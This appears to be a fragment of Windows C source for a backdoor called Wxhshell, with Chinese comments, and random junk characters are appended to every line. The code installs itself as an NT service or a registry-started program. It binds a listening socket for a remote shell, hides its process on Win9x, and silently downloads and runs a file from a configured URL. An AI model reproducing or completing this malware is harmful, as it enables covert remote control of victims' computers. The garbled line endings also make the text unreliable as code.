vI<4F
ULONG UniqueProcessId; "@yyXS
r
ULONG InheritedFromUniqueProcessId; X{Zm9T
} PROCESS_BASIC_INFORMATION; B(,:h aAr
ue\t ,*KYd
PROCNTQSIP NtQueryInformationProcess; !%[S49s
].m qxf
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o35fifM`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; izuF !9
/{*$JF
HANDLE hProcess; Qihdn66
PROCESS_BASIC_INFORMATION pbi; Vte EDL/w
Ll}yJ#3,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K 1W].(-@4
if(NULL == hInst ) return 0; !20XsO
Bp_wnd
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ow/@Z7~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bRsTBp;R`I
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tj5giQ3DG)
z 7T0u.4Ss
if (!NtQueryInformationProcess) return 0; tC)6
y{=>$C[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZA820A>2!
if(!hProcess) return 0; |5MbAqjzC
`^6 ,kI-c
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~ap2m
1@qgF
CloseHandle(hProcess); ."6[:MF
lr3mE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d%ME@6K)
if(hProcess==NULL) return 0; Hj6'pJ4
D/ Dt
HMODULE hMod; Vw~\H Gs/~
char procName[255]; j.|U=)E
unsigned long cbNeeded; VR0=SE
<<zI\+V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &c%Y<1e`%
{C3Y7<
CloseHandle(hProcess); 3yO=S0`
'i|rjW(
if(strstr(procName,"services")) return 1; // 以服务启动 eV};9VJ$F
.*5 Z"Q['G
return 0; // 注册表启动 >)**khuP7
} ELD!{bMT
JAjku6
// 主模块 \ |!\V
int StartWxhshell(LPSTR lpCmdLine) 8e2?tmWM
{ *hY2.t; X
SOCKET wsl; L%\b' fs
BOOL val=TRUE; 2A:,;~UH
int port=0; wCKj7y[
struct sockaddr_in door; {/8Q)2*>0
{eT.SO
if(wscfg.ws_autoins) Install(); I 3$dVls}
TO#Pz.)>B6
port=atoi(lpCmdLine); .~D>5 JnEk
QlZ@ To
if(port<=0) port=wscfg.ws_port; ^ c%N/V
\
T.:+3:8|F
WSADATA data; B80aw>M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^J/)6/TMXm
zI;0&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; WF2-$`x
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~r*P]*51x
door.sin_family = AF_INET; dcfe_EuT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nsuX*C7
door.sin_port = htons(port); xge7r3i
#JW+~FU`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9pSUIl9|j
closesocket(wsl); Ud(`V:d
return 1; ~mp0B9L%
} 1KE:[YQ1
<V&5P3)d9
if(listen(wsl,2) == INVALID_SOCKET) { 'MxSd( T
=
closesocket(wsl); F"jt&9jg
return 1; gAbD7SE
} A%bCMP
Wxhshell(wsl); +9A\HQ|22
WSACleanup(); obH;g*
~$,qgf
return 0; 4=<*Vd`p
[.,>wo~
} LlYTv%I
2I'~2o
// 以NT服务方式启动 gzn^#3 b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a2@c%i
{ K7)kS
DWORD status = 0; k;^
:
DWORD specificError = 0xfffffff; uE5X~
zTm]AG|0
serviceStatus.dwServiceType = SERVICE_WIN32; N"7]R[*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; t0E 51Ic@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kq6jw/T
serviceStatus.dwWin32ExitCode = 0; #1nJ(-D+
serviceStatus.dwServiceSpecificExitCode = 0; ]ZoPQUS?
serviceStatus.dwCheckPoint = 0; 5TKJWO.
serviceStatus.dwWaitHint = 0; I/J7rkf
_=XX~^I,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6dqsFns}e
if (hServiceStatusHandle==0) return; cntco@
H*I4xT@
status = GetLastError(); G;iEo4\?
if (status!=NO_ERROR) .?W5{U
{ @z`@f"l
serviceStatus.dwCurrentState = SERVICE_STOPPED; JK_OZ
serviceStatus.dwCheckPoint = 0; umEVy*hc
serviceStatus.dwWaitHint = 0; W7No ls{
serviceStatus.dwWin32ExitCode = status; LRb,VD:/Y
serviceStatus.dwServiceSpecificExitCode = specificError; T]9\VW4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {p<Zbm.
return; AONDx3[
} oMH.u^b]fT
cI0 ]}S
serviceStatus.dwCurrentState = SERVICE_RUNNING; d9^E.8p$
serviceStatus.dwCheckPoint = 0; |bv,2uW z
serviceStatus.dwWaitHint = 0; bCv {1]RC2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E2wz(,@
} "y?\Dx
._Zt=jB
// 处理NT服务事件,比如:启动、停止 mu]as: ~
VOID WINAPI NTServiceHandler(DWORD fdwControl) (=x"Y{%
{ D@ek9ARAq
switch(fdwControl) I27,mS+]
{ F=a+z/xKT
case SERVICE_CONTROL_STOP: &dB-r&4;+
serviceStatus.dwWin32ExitCode = 0; %q3$|>
serviceStatus.dwCurrentState = SERVICE_STOPPED; !RvRGRSyF
serviceStatus.dwCheckPoint = 0; lEjwgk {
serviceStatus.dwWaitHint = 0; /! ajsn
{ F'RUel_%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =3xE:
} iPG0o
%
return; {}~: &.D
case SERVICE_CONTROL_PAUSE: YvL?j
serviceStatus.dwCurrentState = SERVICE_PAUSED; Y$>-%KcKeI
break; bzpFbfb
case SERVICE_CONTROL_CONTINUE: m!n/U-^
serviceStatus.dwCurrentState = SERVICE_RUNNING; W~n.Xeu{C
break; )$GIN/i
case SERVICE_CONTROL_INTERROGATE: 5N$E()m$
break; yBpk$
}; eU+ {*YJg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OR6ML-|
} jyS=!ydn+
fK}h"iH+K
// 标准应用程序主函数 -Yi,_#3{
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Q;978:
{ M)-6T{[IT
\ gwXH
// 获取操作系统版本 J97R0
OsIsNt=GetOsVer(); koG{
|elgB
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]$-cMX
8TV;Rtl
// 从命令行安装 ed 59B)?l
if(strpbrk(lpCmdLine,"iI")) Install(); .1 )RW5|c
I5ss0JSl/
// 下载执行文件 ={2!c0s
if(wscfg.ws_downexe) { nwI3| &
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gO?44^hMe
WinExec(wscfg.ws_filenam,SW_HIDE); @LE[ac
} f7urJ'!V
X?r48l??
if(!OsIsNt) { cV
K7
// 如果时win9x,隐藏进程并且设置为注册表启动 0rSIfYZa
HideProc(); \`.F\Z
StartWxhshell(lpCmdLine); ,Dmc2D
} ]:]H:U]p
else +]xFoH
if(StartFromService()) %hS|68pN6
// 以服务方式启动 e'*HS7g
StartServiceCtrlDispatcher(DispatchTable); Y
qdWctUY
else rt7<Q47QE
// 普通方式启动 \p&~,%
StartWxhshell(lpCmdLine); MZv]s
I`RBj `IF
return 0; >cMd\%^t
}